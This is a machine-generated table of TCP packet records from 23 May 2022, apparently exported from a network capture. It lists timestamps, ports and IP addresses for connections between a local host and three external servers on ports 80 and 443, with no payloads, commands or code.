May 23, 2022 08:34:57.024447918 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024467945 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024472952 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024491072 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024493933 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024523973 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024532080 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024553061 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024559021 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024580956 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024589062 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024612904 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024614096 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024641037 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024645090 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024667025 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024673939 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024696112 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024701118 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024722099 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024732113 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024750948 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024770975 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024779081 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024796963 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024806023 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024811029 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024831057 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024832964 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024847984 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024857998 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024883986 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024883986 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024895906 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024912119 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024913073 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024945021 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024952888 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024981022 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024986029 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025012016 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025021076 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025038958 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025051117 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025068998 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025070906 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025099039 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025103092 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025126934 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025134087 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025154114 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025160074 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025178909 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025198936 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025204897 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025214911 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025222063 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025232077 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025239944 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025259972 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025266886 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025288105 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025295019 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025316954 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025321960 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025341988 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025352955 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025369883 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025376081 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025396109 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025403976 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025425911 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025430918 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025454998 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025461912 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025481939 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025485039 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025507927 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025510073 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025515079 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025537968 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025542021 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025563955 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025573969 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025590897 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025598049 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025619984 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025623083 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025649071 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025654078 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025674105 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025681973 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025695086 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025703907 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025717974 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025727034 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025739908 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025752068 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025762081 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025765896 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025784016 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025791883 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025801897 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.025819063 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.025832891 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.026223898 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.026472092 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.182466984 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.182513952 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.182544947 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.182568073 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.182568073 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.182591915 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.182595968 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.182600021 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.182605982 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.182632923 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.182640076 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.182661057 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.182668924 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.182689905 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.182698965 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.182718992 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.182724953 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.182754993 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.182899952 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.182939053 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:59.952850103 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:34:59.952876091 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:34:59.952929020 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:34:59.953473091 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:34:59.953484058 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.365123987 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.365289927 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.544548988 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.544590950 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.545048952 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.545161009 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.560785055 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.604506016 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.695046902 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.695151091 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.695218086 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.695240974 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.695291042 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.695306063 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.695344925 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.822700977 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.822900057 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.822911978 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.822946072 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.822989941 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.822999954 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.848532915 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.950978041 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.951139927 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.951169968 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.951201916 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.951292992 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.951524019 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.951571941 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.951644897 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.951703072 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.951736927 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.951752901 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.951793909 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.951806068 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.951819897 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.951879978 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.951967001 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.952136040 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.952215910 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.952255964 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.952277899 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.952291012 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.952423096 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.992799997 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.992938042 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.992969990 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.992996931 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:00.993009090 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.993012905 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:00.993038893 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.004580021 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.079545021 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.079628944 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.079706907 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.079725981 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.079741001 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.079770088 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.079782009 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.079844952 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.079855919 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.079910040 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.080193043 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.080255985 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.080260038 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.080272913 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.080311060 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.080322027 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.080657959 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.080739975 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.080740929 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.080758095 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.080797911 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.080938101 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.080988884 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.081001997 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.081013918 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.081047058 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.083879948 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.083893061 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.083908081 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.083982944 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.084005117 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.104902029 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.209172010 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.209249020 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.209337950 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.209352970 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.209381104 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.209387064 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.209394932 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.209399939 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.209434986 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.209449053 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.209505081 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.209583998 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.209641933 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.209650040 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.209661961 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.209698915 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.209822893 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.209880114 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.209891081 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.209940910 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.210066080 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.210122108 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.210138083 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.210194111 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.210289001 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.210349083 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.210356951 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.210410118 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.210505009 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.210567951 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.210573912 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.210586071 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.210689068 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.210725069 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.210809946 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.210817099 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.210827112 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.210874081 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.210954905 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.211034060 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.211035967 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.211046934 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.211086988 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.211098909 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.211168051 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.211236954 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.211239100 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.211250067 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.211291075 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.211302996 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.211359024 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.211421013 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.211435080 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.211457014 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.211486101 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.211500883 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.211541891 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.211582899 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.224317074 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.230463028 CEST	49176	443	192.168.2.22	159.203.19.2
May 23, 2022 08:35:01.230511904 CEST	443	49176	159.203.19.2	192.168.2.22
May 23, 2022 08:35:01.867171049 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:35:01.867253065 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:35:03.772452116 CEST	49177	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:03.814680099 CEST	80	49177	193.143.77.34	192.168.2.22
May 23, 2022 08:35:03.814779997 CEST	49177	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:03.818012953 CEST	49177	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:03.860912085 CEST	80	49177	193.143.77.34	192.168.2.22
May 23, 2022 08:35:05.960398912 CEST	80	49177	193.143.77.34	192.168.2.22
May 23, 2022 08:35:05.960510015 CEST	49177	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:06.023686886 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:06.064675093 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:06.064800978 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:06.065642118 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:06.106549978 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.104851961 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.104918003 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.104959011 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.104996920 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.105031967 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.105036974 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.105066061 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.105076075 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.105081081 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.105107069 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.105120897 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.105159998 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.105171919 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.105200052 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.105212927 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.105223894 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.105238914 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.105295897 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.105984926 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.112268925 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.112314939 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146222115 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146271944 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146297932 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146318913 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146325111 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146353006 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146358013 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146378040 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146389008 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146399021 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146404028 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146404982 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146437883 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146440983 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146466970 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146470070 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146498919 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146500111 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146524906 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146539927 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146550894 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146555901 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146578074 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146594048 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146605968 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146620035 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146631956 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146639109 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146666050 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146670103 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146692038 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146703959 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146720886 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146727085 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146764994 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146787882 CEST	49178	80	192.168.2.22	193.143.77.34
